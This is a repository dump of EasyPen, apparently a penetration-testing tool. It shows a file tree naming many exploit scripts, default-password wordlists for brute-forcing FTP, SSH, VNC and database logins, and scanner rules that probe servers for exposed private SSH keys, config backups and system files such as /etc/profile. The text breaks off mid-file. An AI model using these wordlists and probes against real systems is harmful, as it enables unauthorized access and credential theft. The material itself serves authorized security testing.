├── .gitignore ├── EasyPen.py ├── EasyPen.spec ├── README.md ├── README_CN.md ├── config ├── EasyPen.conf └── dict │ ├── ftp_password.txt │ ├── ftp_user.txt │ ├── mssql_user.txt │ ├── mysql_user.txt │ ├── password.txt │ ├── postgres_password.txt │ ├── postgres_user.txt │ ├── rdp_user.txt │ ├── redis_password.txt │ ├── smb_user.txt │ ├── smbnt_user.txt │ ├── ssh_password.txt │ ├── ssh_user.txt │ ├── telnet_password.txt │ ├── telnet_user.txt │ ├── vnc_password.txt │ └── vnc_user.txt ├── database └── .gitkeep ├── lib ├── __init__.py ├── bbscan │ ├── .gitignore │ ├── BBScan.py │ ├── LICENSE │ ├── README.md │ ├── __init__.py │ ├── crawler_logs │ │ └── .gitignore │ ├── lib │ │ ├── __init__.py │ │ ├── cmdline.py │ │ ├── common.py │ │ ├── config.py │ │ ├── consle_width.py │ │ └── report.py │ ├── report │ │ └── .gitignore │ ├── requirements.txt │ ├── rules │ │ ├── black.list │ │ ├── change_log.txt │ │ ├── compressed_backup_files.txt │ │ ├── config_file.txt │ │ ├── directory_traversal.txt │ │ ├── disabled │ │ │ ├── .gitignore │ │ │ └── zabbix_jsrpc_sqli.txt │ │ ├── git_and_svn.txt │ │ ├── go_pprof_debug.txt │ │ ├── graphite_ssrf.txt │ │ ├── java_server_faces2.txt │ │ ├── java_web_config_files.txt │ │ ├── phpinfo_or_apc.txt │ │ ├── phpmyadmin.txt │ │ ├── resin_admin.txt │ │ ├── sensitive_url.txt │ │ ├── shell_script_disclosure.txt │ │ ├── source_code_disclosure.txt │ │ ├── ssh_sensitive_file.txt │ │ ├── test_page.txt │ │ ├── tomcat_manager.txt │ │ ├── web_editors.txt │ │ └── white.list │ ├── scripts │ │ ├── __init__.py │ │ ├── disabled │ │ │ ├── .gitignore │ │ │ ├── __init__.py │ │ │ ├── kong_admin_rest_api.py │ │ │ ├── mongodb_unauthorized_access.py │ │ │ ├── redis_unauthorized_access.py │ │ │ ├── smb_ms17010.py │ │ │ └── zookeeper_unauth.py │ │ ├── discuz_backup_file.py │ │ ├── is_admin_site.py │ │ ├── log_files.py │ │ ├── outlook_web_app.py │ │ ├── readme.txt │ │ ├── scan_by_hostname_or_folder.py │ │ ├── sensitive_folders.py │ │ ├── tools │ │ │ ├── __init__.py │ │ │ └── port_scan.py │ │ └── wordpress_backup_file.py │ └── targets │ │ └── .gitignore ├── common.py ├── config.py ├── database.py ├── event.py ├── ip_set_store.py ├── is-http.nse ├── jobs.py ├── nmap_parser.py ├── poc │ ├── __init__.py │ ├── axfr_client.py │ ├── dummy.py │ └── process.py ├── poc_scan.py └── process.py ├── logs └── .gitkeep ├── output └── .gitkeep ├── pyinstaller_to_exe.bat ├── requirements.txt ├── scripts ├── __init__.py ├── admin_basic_auth_weak_pass.py ├── apache_solr_cve_2019_0192.py ├── apisix_admin_default_token.py ├── apisix_batch_requests_rce_cve_2022_24112.py ├── apisix_dashboard_unauthorized_access.py ├── bash_shell_shock_rce.py ├── bistoury_default_password.py ├── cacti_unauthorized_access_rce.py ├── cassandra_open.py ├── citrix_directory_traversal_rce.py ├── confluence_rce_cve_2019_3396.py ├── confluence_rce_cve_2022_26134.py ├── consul-put-rce.py ├── couchdb_rest_api.py ├── directory_traversal.py ├── disabled │ └── ncrack_weak_pass_scan.py ├── django_admin_weak_password.py ├── dns_zone_transfer.py ├── docker-register-api-exposed.py ├── docker_engine_api_exposed.py ├── docker_remote_api.py ├── druid_info_leak.py ├── druid_unauth_lfi.py ├── dubbo_rce_cve_2021_25641.py ├── elastic_search_console_lfi.py ├── elastic_search_directory_traversal_cve_2015_3337.py ├── elastic_search_groovy_code_injection.py ├── elastic_search_remote_code_execution_cve_2015_1427.py ├── elastic_search_river_unauthorized_access.py ├── f5_big_ip_rce.py ├── fastcgi_remote_code_execution.py ├── fastjson_rce.py ├── flink_lfi_cve_2020_17519.py ├── flink_upload_rce.py ├── golang_delve_debugger.py ├── hadoop_yarn_unauthorized_access_rce.py ├── host_header_command_injection.py ├── hp_iol_authbypass.py ├── http_proxy_server_found.py ├── http_proxy_server_mis_config.py ├── http_put_file_via_web_dav.py ├── hydra_weak_pass_scan.py ├── hystrix_dashboard_ssrf.py ├── idrac_weak_pass.py ├── influxdb_unauthorized_access.py ├── ipmi_cipher0.py ├── jarfile │ ├── JMXQuery-0.1.8.jar │ ├── jenkins-cve-2017-1000353.jar │ └── solr_upload_rce_cve_2020_13957.zip ├── java_debug_wire_protocol.py ├── jenkins_plugin_manager_command_execution.py ├── jenkins_script_console_code_execution.py ├── jenkins_ssrf.py ├── jmx_unauth_manager.py ├── jupyter_notebook_weak_pass.py ├── k8s_dashboard.py ├── k8s_exposed_api_server.py ├── k8s_exposed_etcd.py ├── k8s_exposed_pods.py ├── kibana_cve_2019_7609.py ├── kong_admin_rest_api.py ├── kylin_default_password.py ├── log4j_rce_cve_2021_44228.py ├── log4j_scanner_socket.py ├── medusa_weak_pass_scan.py ├── memcache_unauthorized_acess.py ├── mesos_api_unauthorized_access.py ├── mongo_weak_pass.py ├── ms_exchange_ssrf_cve_2021_26855.py ├── nacos_unauthorized_access.py ├── next_js_arbitrary_file_read.py ├── nexus_rce_cve_2019_7238.py ├── nfs_unauthorized_access.py ├── nginx-plus-unprotected-api.py ├── nginx-plus-unprotected-upstream.py ├── nodejs_debug.py ├── nodejs_path_traversal_cve_2017_14849.py ├── openssl_heartbleed.py ├── redis_weak_pass.py ├── rsync_unauthorized_acess.py ├── ruby_on_rails_lfr.py ├── samba_ms_17010.py ├── shell_shock_bash_rce.py ├── shiro_cms_fingerprint.py ├── skywalking_sql_injection.py ├── socks5_weak_pass.py ├── socks_proxy_unauthorized_access.py ├── solr_rce_cve_2019_0193.py ├── solr_rce_xxe_cve_2017_12629.py ├── solr_unauthorized_access.py ├── solr_upload_rce_cve_2020_13957.py ├── solr_velocity_template_rce.py ├── sonarqube_default_credentials.py ├── spark_unauthorized_access_rce.py ├── splunk_weak_password.py ├── spring_boot_actuator.py ├── spring_cloud_config_directory_traveral_cve_2020_5405.py ├── spring_cloud_config_server_cve_2020_5410.py ├── spring_cloud_function_rce_20220330.py ├── spring_cloud_gateway_rce_cve_2022_22947.py ├── spring_security_bypass_cve_2022_22978.py ├── struts2_ognl_console.py ├── struts2_rce_045.py ├── struts2_rce_057.py ├── supervisord_remote_command_execute.py ├── swagger_ui_info_disclosure.py ├── thinkphp_5_0_23_code_execution.py ├── thinkphp_5_code_execution.py ├── tomcat_ajp_read_file_cve_2020_1938.py ├── tomcat_weak_password.py ├── uwsgi_path_traversal_cve_2018_7490.py ├── weblogic_rce_cnvd_c_2019_48814.py ├── weblogic_rce_cve_2020_14882_14883.py ├── weblogic_uddi_explorer_ssrf.py ├── weblogic_wls_wsat_rce.dat ├── weblogic_wls_wsat_rce.py ├── xxl_job_executor_rce.py ├── xxl_job_unauth_api.py ├── zabbix_default_authentication.py ├── zabbix_httpmon_sqli.py ├── zabbix_popup_sqli.py └── zookeeper_unauthorized_access.py ├── tests └── test_poc_scanner.py ├── tools ├── GitHack │ ├── GitHack.py │ ├── GitHack.spec │ ├── README.md │ └── lib │ │ ├── __init__.py │ │ └── parser.py ├── ds_store_exp │ ├── .gitignore │ ├── README.md │ ├── ds_store_exp.py │ └── ds_store_exp.spec ├── hydra │ ├── cygX11-6.dll │ ├── cygXau-6.dll │ ├── cygXdmcp-6.dll │ ├── cygcom_err-2.dll │ ├── cygcrypto-1.0.0.dll │ ├── cygcrypto-1.1.dll │ ├── cygfreerdp2-2.dll │ ├── cyggcc_s-seh-1.dll │ ├── cyggcrypt-20.dll │ ├── cyggpg-error-0.dll │ ├── cyggssapi_krb5-2.dll │ ├── cygiconv-2.dll │ ├── cygidn-11.dll │ ├── cygintl-8.dll │ ├── cygjpeg-8.dll │ ├── cygk5crypto-3.dll │ ├── cygkrb5-3.dll │ ├── cygkrb5support-0.dll │ ├── cyglber-2-4-2.dll │ ├── cygldap_r-2-4-2.dll │ ├── cygmariadb-3.dll │ ├── cygpcre-1.dll │ ├── cygpq-5.dll │ ├── cygsasl2-3.dll │ ├── cygssh-4.dll │ ├── cygssl-1.0.0.dll │ ├── cygssl-1.1.dll │ ├── cygwin1.dll │ ├── cygwinpr2-2.dll │ ├── cygxcb-1.dll │ ├── cygxkbfile-1.dll │ ├── cygz.dll │ ├── dpl4hydra.sh │ ├── hydra-wizard.sh │ ├── hydra.exe │ └── pw-inspector.exe ├── idea_exploit │ ├── README.md │ ├── idea_exp.py │ ├── idea_exp.spec │ └── images │ │ ├── contain_password.png │ │ └── scanner_pannel.png ├── iis_shortname_scanner │ ├── README.md │ ├── iis_shortname_scan.py │ └── iis_shortname_scanner.spec ├── masscan.exe ├── ncrack │ └── .gitkeep ├── nmap │ └── .gitkeep ├── subDomainsBrute │ ├── .gitignore │ ├── README.md │ ├── dict │ │ ├── dns_servers.txt │ │ ├── next_sub.txt │ │ ├── next_sub_full.txt │ │ ├── subnames.txt │ │ ├── subnames_all_5_letters.txt │ │ └── subnames_full.txt │ ├── lib │ │ ├── __init__.py │ │ ├── cmdline.py │ │ ├── common.py │ │ ├── common_py2.py │ │ ├── common_py3.py │ │ ├── consle_width.py │ │ ├── scanner_py2.py │ │ └── scanner_py3.py │ ├── screenshot.png │ ├── subDomainsBrute.py │ └── subDomainsBrute.spec └── swagger-exp │ ├── .gitignore │ ├── README.md │ ├── index.html │ ├── lib │ ├── __init__.py │ └── common.py │ ├── screenshot.png │ ├── screenshot2.png │ ├── static │ ├── swagger-ui-bundle.js │ ├── swagger-ui-standalone-preset.js │ ├── swagger-ui.css │ └── validator │ ├── swagger-exp.py │ └── swagger-exp.spec └── ui ├── __init__.py ├── agreement.html ├── dialog_about.py ├── dicover ├── __init__.py ├── panel_discover.py ├── panel_host_discover.py └── panel_name_brute.py ├── frame_agreement.py ├── frame_loading.py ├── frame_main.py ├── log.py ├── panel_left.py ├── resource ├── EasyPen.png ├── add_target.png ├── brute_start.png ├── brute_stop.png ├── btn_help.png ├── bug.png ├── check_update.png ├── database.png ├── db_view_icon.png ├── delete-target.png ├── easypen_tools.png ├── edit_port_profile.png ├── edit_ports.png ├── empty_data.db ├── exit.png ├── exp_icon.png ├── import_targets.png ├── import_targets_16.png ├── loading.jpg ├── menu_delete_target.png ├── page_next.png ├── page_previous.png ├── portscan_start.png ├── python_shell.png ├── readme_logo.png ├── screenshot.png ├── script_file.png ├── send_to_scanner.png ├── settings_discover_options.png ├── settings_general.png ├── settings_icon.png ├── settings_port.png ├── settings_scan_options.png ├── sort_down.png ├── sort_up.png ├── source_code.png ├── start_btn.png ├── target_0.png ├── target_1.png ├── target_2.png ├── target_3.png ├── target_4.png ├── target_5.png ├── target_6.png ├── targets_icon.png ├── tools │ ├── GitHack.png │ ├── IIS_shortname_Scanner.png │ ├── IIS_shortname_Scanner.yfl │ ├── ds_store_exp.png │ ├── idea_exploit.png │ ├── subDomainsBrute.png │ └── swagger-exp.png └── vul_scan.png ├── scan ├── __init__.py ├── box_targets_input.py ├── frame_scan_result_viewer.py ├── frame_soure_code_viewer.py ├── panel_scan.py ├── panel_scan_results.py ├── panel_scripts_list.py └── poc_runner.py ├── settings ├── panel_option_tree.py ├── panel_settings.py └── settings_ui │ ├── __init__.py │ ├── panel_discover_options.py │ ├── panel_general_settings.py │ ├── panel_ports_profile.py │ └── panel_scanner_options.py ├── targets ├── __init__.py ├── grid.py ├── panel_target_viewer.py └── sql.py └── tools ├── panel_tools.py ├── panel_tools_index.py ├── thumb.py ├── tools.html └── tools_ui ├── __init__.py ├── ds_store_exp.py ├── git_hack.py ├── idea_exploit.py ├── iis_shortname_scanner.py ├── sub_domains_brute.py └── swagger_exp.py /.gitignore: -------------------------------------------------------------------------------- 1 | venv_py/ 2 | database/* 3 | .idea/ 4 | *.pyc 5 | /tools/subDomainsBrute/*.txt 6 | /tools/home/ 7 | /logs/poc_runner.log* 8 | /logs/easy_pen.log 9 | tools/swagger-exp/chromeSwagger 10 | tools/swagger-exp/api-docs.json 11 | tools/swagger-exp/api_summary.txt 12 | tmp/ 13 | output/* 14 | build/ 15 | dist/ 16 | config/EasyPen_dev* -------------------------------------------------------------------------------- /config/dict/ftp_password.txt: -------------------------------------------------------------------------------- 1 | anonymous 2 | ftp 3 | admin 4 | 123456 5 | root 6 | 12345 7 | 1234567 8 | 12345678 9 | 123456789 10 | 1234 11 | 123 12 | test 13 | root123 14 | zaq1@WSX 15 | password 16 | 1qaz2wsx 17 | qazwsx 18 | 123qwe 19 | 123qaz 20 | 1q2w3e 21 | abc123 -------------------------------------------------------------------------------- /config/dict/ftp_user.txt: -------------------------------------------------------------------------------- 1 | anonymous 2 | ftp 3 | test 4 | user -------------------------------------------------------------------------------- /config/dict/mssql_user.txt: -------------------------------------------------------------------------------- 1 | sa -------------------------------------------------------------------------------- /config/dict/mysql_user.txt: -------------------------------------------------------------------------------- 1 | root 2 | mysql -------------------------------------------------------------------------------- /config/dict/password.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | 111111 3 | 000000 4 | 0123456 5 | calvin 6 | 123!@# 7 | 123123 8 | 123321 9 | 1234abcd 10 | 1234@asd 11 | 1234qwer 12 | 123654789 13 | 123abc 14 | 123asd 15 | 123@asd 16 | 123qwe 17 | 123!@#qwe 18 | 123qweasd 19 | 123qwerty 20 | 12qwaszx 21 | 1qaz2wsx 22 | 1QAZ2WSX 23 | 1qaz9ol. 24 | 666666 25 | a12345 26 | a123456 27 | abc123 28 | Abcd@123 29 | abcd1234 30 | admin.123 31 | admin@123 32 | Admin123 33 | asd123 34 | asd@123 35 | asd123456 36 | asdf1234 37 | asdfghjk 38 | asdfghjkl 39 | guest123 40 | pass123456 41 | passw0rd 42 | passwd!@# 43 | passwd123 44 | passwd12345 45 | passwd123456 46 | password 47 | p@assword 48 | password!@# 49 | passw@rd 50 | Pa$$w0rd 51 | pa$$word 52 | p@ssw0rd 53 | P@ssw0rd 54 | p@ssword 55 | !Q2w3e4r5 56 | !qaz@wsx 57 | !QAZ@wsx 58 | !QAZ@WSX 59 | !QAZ@WSX#EDC 60 | Qwe@111 61 | Qwe@111. 62 | qwe123 63 | qwe123456 64 | !Q@W#E$R 65 | qwer1234 66 | qwerasdf 67 | qwerty 68 | qwerty123456 69 | qwertyui 70 | qwertyuiop 71 | root123 72 | root123456 73 | system 74 | zaq12wsx 75 | zaq1xsw2 76 | ZAQ!2wsx 77 | zaq!@wsx 78 | 1q2w3e4R 79 | 1234.asd 80 | 123 -------------------------------------------------------------------------------- /config/dict/postgres_password.txt: -------------------------------------------------------------------------------- 1 | postgres 2 | 123456 3 | qweasdzxc 4 | Passw0rd 5 | password 6 | 12345 7 | 1234 8 | 123 9 | qwerty 10 | 1q2w3e4r 11 | 1qaz2wsx 12 | qazwsx 13 | 123qwe 14 | 123qaz 15 | 1234567 16 | 123456qwerty 17 | password123 18 | 12345678 19 | 1q2w3e 20 | abc123 21 | test123 22 | 123456789 23 | q1w2e3r4 -------------------------------------------------------------------------------- /config/dict/postgres_user.txt: -------------------------------------------------------------------------------- 1 | postgres -------------------------------------------------------------------------------- /config/dict/rdp_user.txt: -------------------------------------------------------------------------------- 1 | administrator 2 | admin 3 | user -------------------------------------------------------------------------------- /config/dict/redis_password.txt: -------------------------------------------------------------------------------- 1 | 123 2 | 123456 3 | 000000 4 | password -------------------------------------------------------------------------------- /config/dict/smb_user.txt: -------------------------------------------------------------------------------- 1 | administrator 2 | admin 3 | user -------------------------------------------------------------------------------- /config/dict/smbnt_user.txt: -------------------------------------------------------------------------------- 1 | administrator 2 | admin 3 | user -------------------------------------------------------------------------------- /config/dict/ssh_password.txt: -------------------------------------------------------------------------------- 1 | root 2 | 123456 3 | calvin 4 | admin 5 | ADMIN 6 | 000000 7 | 0000000 8 | 00000000 9 | 000000000 10 | 0000000000 11 | 00001111 12 | 0123456 13 | 0123456789 14 | 0987654321 15 | 111111 16 | 123!@# 17 | 123123 18 | 123321 19 | 1234abcd 20 | 1234@asd 21 | 1234qwer 22 | 123654789 23 | 123abc 24 | 123asd 25 | 123@asd 26 | 123qwe 27 | 123!@#qwe 28 | 123qweasd 29 | 123qwerty 30 | 12qwaszx 31 | 1qaz2wsx 32 | 1QAZ2WSX 33 | 1qaz9ol. 34 | 222222 35 | 56789tyuio! 36 | 666666 37 | 888888 38 | a12345 39 | a123456 40 | abc123 41 | Abcd@123 42 | abcd1234 43 | admin.123 44 | admin@123 45 | Admin123 46 | asd123 47 | p@assword 48 | qwer1234 49 | root123 50 | root12345 51 | -------------------------------------------------------------------------------- /config/dict/ssh_user.txt: -------------------------------------------------------------------------------- 1 | root 2 | ADMIN 3 | admin -------------------------------------------------------------------------------- /config/dict/telnet_password.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | root 3 | calvin 4 | 000000 5 | 0123456 6 | 111111 7 | 123123 8 | 123321 9 | 1234abcd 10 | 1234@asd 11 | 1234qwer 12 | 123654789 13 | 123abc 14 | 123asd 15 | 123@asd 16 | 123qwe 17 | 123qweasd 18 | 123qwerty 19 | 12qwaszx 20 | 1qaz2wsx 21 | 1QAZ2WSX 22 | 1qaz9ol. 23 | 666666 24 | 888888 25 | a12345 26 | a123456 27 | abc123 28 | Abcd@123 29 | abcd1234 30 | admin.123 31 | admin@123 32 | Admin123 33 | asd123 34 | asd@123 35 | asd123456 36 | asdf1234 37 | cisco123 38 | pass123456 39 | passw0rd 40 | passwd123 41 | passwd12345 42 | passwd123456 43 | password 44 | p@ssword 45 | q1w2e3r4 46 | q1w2e3r4t5 47 | q1w2e3r4t5y6 48 | !Q2w3e4r5 49 | !qaz@wsx 50 | !QAZ@wsx 51 | !QAZ@WSX 52 | Qwe@111 53 | Qwe@111. 54 | qwe123 55 | qwe123456 56 | qwer1234 57 | qwerty123456 58 | qwertyui 59 | root123 60 | root12345 61 | system 62 | zaq12wsx 63 | zaq1xsw2 64 | ZAQ!2wsx 65 | zaq!@wsx -------------------------------------------------------------------------------- /config/dict/telnet_user.txt: -------------------------------------------------------------------------------- 1 | root 2 | admin -------------------------------------------------------------------------------- /config/dict/vnc_password.txt: -------------------------------------------------------------------------------- 1 | 123456 2 | 000000 3 | 00000000 4 | 0123456 5 | 111111 6 | 123!@# 7 | 123123 8 | 123321 9 | 1234abcd 10 | 1234@asd 11 | 1234qwer 12 | 123654789 13 | 123abc 14 | 123asd 15 | 123@asd 16 | 123qwe 17 | 666666 18 | 888888 19 | Abcd@123 20 | abcd1234 21 | admin.123 22 | admin@123 23 | Admin123 24 | asd123 25 | asd123456 26 | asdf1234 27 | p455w0rd 28 | p4ssw0rd 29 | p4ssword 30 | P4$$w0rd 31 | p4$$word 32 | p@55word 33 | pa55w0rd 34 | pass123456 35 | passw0rd 36 | passwd!@# 37 | passwd123 38 | passwd12345 39 | passwd123456 40 | password 41 | p@assword 42 | password!@# 43 | passw@rd 44 | Pa$$w0rd 45 | pa$$word 46 | p@ssw0rd 47 | P@ssw0rd 48 | p@ssword 49 | P@ssword123 50 | P@$$w0rd 51 | root123 52 | root12345 53 | zaq12wsx 54 | zaq1xsw2 55 | ZAQ!2wsx 56 | zaq!@wsx 57 | 1q2w3e4R -------------------------------------------------------------------------------- /config/dict/vnc_user.txt: -------------------------------------------------------------------------------- 1 | root -------------------------------------------------------------------------------- /database/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/database/.gitkeep -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/lib/__init__.py -------------------------------------------------------------------------------- /lib/bbscan/.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | tests/ 6 | temp/ 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib64/ 18 | parts/ 19 | sdist/ 20 | var/ 21 | *.egg-info/ 22 | .installed.cfg 23 | *.egg 24 | .idea/ 25 | 26 | # PyInstaller 27 | # Usually these files are written by a python script from a template 28 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 29 | *.manifest 30 | *.spec 31 | 32 | # Installer logs 33 | pip-log.txt 34 | pip-delete-this-directory.txt 35 | 36 | # Unit test / coverage reports 37 | htmlcov/ 38 | .tox/ 39 | .coverage 40 | .coverage.* 41 | .cache 42 | nosetests.xml 43 | coverage.xml 44 | *,cover 45 | 46 | # Translations 47 | *.mo 48 | *.pot 49 | 50 | # Django stuff: 51 | *.log 52 | 53 | # Sphinx documentation 54 | docs/_build/ 55 | 56 | # PyBuilder 57 | target/ 58 | *.html 59 | -------------------------------------------------------------------------------- /lib/bbscan/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/lib/bbscan/__init__.py -------------------------------------------------------------------------------- /lib/bbscan/crawler_logs/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/lib/bbscan/crawler_logs/.gitignore -------------------------------------------------------------------------------- /lib/bbscan/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/lib/bbscan/lib/__init__.py -------------------------------------------------------------------------------- /lib/bbscan/lib/config.py: -------------------------------------------------------------------------------- 1 | # Global Variables share among modules 2 | 3 | stop_me = False 4 | 5 | user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' \ 6 | 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36' 7 | 8 | default_headers = {'User-Agent': user_agent, 'Range': 'bytes=0-102400'} 9 | 10 | ports_saved_to_file = False 11 | 12 | process_targets_done = False # scan coroutine will wait until process_targets_done 13 | 14 | tasks_count = 0 # task counter 15 | -------------------------------------------------------------------------------- /lib/bbscan/report/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/lib/bbscan/report/.gitignore -------------------------------------------------------------------------------- /lib/bbscan/requirements.txt: -------------------------------------------------------------------------------- 1 | BeautifulSoup4>=4.11.1 2 | motor==3.0.0 3 | httpx>=0.23.0 4 | dnspython>=2.2.1 -------------------------------------------------------------------------------- /lib/bbscan/rules/black.list: -------------------------------------------------------------------------------- 1 | # text to exclude in html doc 2 | # regex can be used 3 | # 匹配的条目将被丢弃 4 | 5 | 6 | {text="/404/search_children.js"} 7 | 8 | {text="qzone.qq.com/gy/404/data.js"} 9 | 10 | {text="访问的页面不存在"} 11 | 12 | {text="404 Not Found"} 13 | 14 | {text="Not Found ERROR"} 15 | 16 | {text="

The server encountered an internal error or"} 17 | 18 | {text="http://www.qq.com/babygohome/?pgv_ref=404"} 19 | 20 | {text="

410 Gone

"} 21 | 22 | {regex_text="controller.*not found"} 23 | 24 | {text="404 Page Not Found"} 25 | 26 | {text="You do not have permission to get URL"} 27 | 28 | {text="403 Forbidden"} 29 | 30 | {text="

Whoops, looks like something went wrong.

"} 31 | 32 | {text="invalid service url:"} 33 | 34 | {text="You don't have permission to access this page"} 35 | 36 | {text="当前页面不存在或已删除"} 37 | 38 | {text="No direct script access allowed"} 39 | 40 | {text="args not correct"} 41 | 42 | {text="Controller Not Found"} 43 | 44 | {text="url error"} 45 | 46 | {text="Bad Request"} 47 | 48 | {text="http://appmedia.qq.com/media/flcdn/404.png"} 49 | -------------------------------------------------------------------------------- /lib/bbscan/rules/change_log.txt: -------------------------------------------------------------------------------- 1 | # Chang Log 2 | /readme {status=200} {type_no="html"} {root_only} 3 | /README {status=200} {type_no="html"} {root_only} 4 | /readme.md {status=200} {type_no="html"} {root_only} 5 | /readme.html {status=200} {type="html"} {root_only} 6 | /changelog.txt {status=200} {type="text/plain"} {root_only} -------------------------------------------------------------------------------- /lib/bbscan/rules/config_file.txt: -------------------------------------------------------------------------------- 1 | # Config 2 | /config.inc {status=200} {type_no="html"} 3 | /config.php.bak {status=206} {type="application/octet-stream"} {tag="APC INFO"} 8 | 9 | 10 | # Test CGI {tag="SERVER_NAME"} 11 | #/test.cgi {status=200} {type="html"} {root_only} 12 | #/test-cgi {status=200} {type="html"} {root_only} 13 | #/cgi-bin/test-cgi {status=200} {type="html"} {root_only} 14 | 15 | -------------------------------------------------------------------------------- /lib/bbscan/rules/phpmyadmin.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | /phpmyadmin/index.php {tag="phpMyAdmin"} {status=200} {root_only} 4 | /phpMyAdmin/index.php {tag="<title>phpMyAdmin"} {status=200} {root_only} 5 | /_phpmyadmin/index.php {tag="<title>phpMyAdmin"} {status=200} {root_only} 6 | /pma/index.php {tag="<title>phpMyAdmin"} {status=200} {root_only} -------------------------------------------------------------------------------- /lib/bbscan/rules/resin_admin.txt: -------------------------------------------------------------------------------- 1 | # Resin Doc 2 | /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/profile {tag="/etc/profile.d/*.sh"} {root_only} 3 | # /resin-doc/viewfile/?contextpath=/&servletpath=&file=index.jsp {tag="This is the default start page for the Resin server"} {root_only} 4 | /resin-admin/ {status=200} {tag="<title>Resin Admin Login for"} {root_only} -------------------------------------------------------------------------------- /lib/bbscan/rules/shell_script_disclosure.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | /install.sh {status=206} {root_only} {tag='#!/'} {type="text"} 4 | /deploy.sh {status=206} {root_only} {tag='#!/'} {type="text"} 5 | /upload.sh {status=206} {root_only} {tag='#!/'} {type="text"} 6 | /setup.sh {status=206} {root_only} {tag='#!/'} {type="text"} 7 | /backup.sh {status=206} {root_only} {tag='#!/'} {type="text"} 8 | /rsync.sh {status=206} {root_only} {tag='#!/'} {type="text"} 9 | /sync.sh {status=206} {root_only} {tag='#!/'} {type="text"} 10 | /test.sh {status=206} {root_only} {tag='#!/'} {type="text"} 11 | /run.sh {status=206} {root_only} {tag='#!/'} {type="text"} -------------------------------------------------------------------------------- /lib/bbscan/rules/source_code_disclosure.txt: -------------------------------------------------------------------------------- 1 | 2 | 3 | /index.php.bak {status=206} {type="application/octet-stream"} {tag="<?php"} 4 | /.index.php.swp {status=206} {type="application/octet-stream"} {tag="<?php"} 5 | 6 | /config.inc.php.bak {status=206} {type="application/octet-stream"} {tag="<?php"} 7 | /config.php.bak {status=206} {type="application/octet-stream"} {tag="<?php"} 8 | 9 | /.config.inc.php.swp {status=206} {type="application/octet-stream"} {tag="<?php"} 10 | 11 | /config/.config.php.swp {status=200} {tag="<?php"} 12 | /.config.php.swp {status=200} {tag="<?php"} 13 | 14 | /.settings.php.swp {status=206} {type="application/octet-stream"} {tag="<?php"} 15 | /.database.php.swp {status=206} {type="application/octet-stream"} {tag="<?php"} 16 | /.db.php.swp {status=206} {type="application/octet-stream"} {tag="<?php"} 17 | /.mysql.php.swp {status=206} {type="application/octet-stream"} {tag="<?php"} -------------------------------------------------------------------------------- /lib/bbscan/rules/ssh_sensitive_file.txt: -------------------------------------------------------------------------------- 1 | # SSH 2 | 3 | /.ssh/known_hosts {status=206} {type="application/octet-stream"} {root_only} 4 | /.ssh/id_rsa {status=200} {tag="PRIVATE KEY-"} {root_only} 5 | /id_rsa {status=200} {tag="PRIVATE KEY-"} {root_only} 6 | /.ssh/id_rsa.pub {status=200} {tag="ssh-rsa"} {root_only} 7 | /.ssh/id_dsa {status=200} {tag="PRIVATE KEY-"} {root_only} 8 | /id_dsa {status=200} {tag="PRIVATE KEY-"} {root_only} 9 | /.ssh/id_dsa.pub {status=200} {tag="ssh-dss"} {root_only} 10 | /.ssh/authorized_keys {status=200} {tag="ssh-rsa"} {root_only} -------------------------------------------------------------------------------- /lib/bbscan/rules/test_page.txt: -------------------------------------------------------------------------------- 1 | /test.php {status=200} {type="html"} {root_only} 2 | /test2.php {status=200} {type="html"} {root_only} 3 | /test.html {status=200} {type="html"} {root_only} 4 | /test2.html {status=200} {type="html"} {root_only} 5 | /test.jsp {status=200} {type="html"} {root_only} 6 | /test.txt {status=200} {type="text/plain"} {root_only} 7 | /test2.txt {status=200} {type="text/plain"} {root_only} 8 | /debug.php {status=200} {type="html"} {root_only} 9 | /a.php {status=200} {type="html"} {root_only} 10 | /1.php {status=200} {type="html"} {root_only} 11 | 12 | 13 | # Test CGI {tag="SERVER_NAME"} 14 | # /test.cgi {status=200} {type="html"} {root_only} 15 | # /test-cgi {status=200} {type="html"} {root_only} 16 | # /cgi-bin/test-cgi {status=200} {type="html"} {root_only} 17 | -------------------------------------------------------------------------------- /lib/bbscan/rules/tomcat_manager.txt: -------------------------------------------------------------------------------- 1 | # Tomcat Examples 2 | # /examples/ {status=200} {type="html"} {tag="<TITLE>Apache Tomcat Examples"} {root_only} 3 | # /examples/servlets/servlet/SessionExample {status=200} {type="html"} {tag="Sessions Example"} {root_only} 4 | /manager/html {status=401} {root_only} -------------------------------------------------------------------------------- /lib/bbscan/rules/web_editors.txt: -------------------------------------------------------------------------------- 1 | 2 | # Web Editors 3 | 4 | 5 | /fckeditor/_samples/default.html {tag="FCKeditor"} {type="html"} 6 | /ckeditor/samples/ {tag="<title>CKEditor Samples"} 7 | /editor/ckeditor/samples/ {tag="CKEditor Samples"} 8 | /ckeditor/samples/sample_posteddata.php {tag="http://ckeditor.com"} 9 | /editor/ckeditor/samples/sample_posteddata.php {tag="http://ckeditor.com"} 10 | # 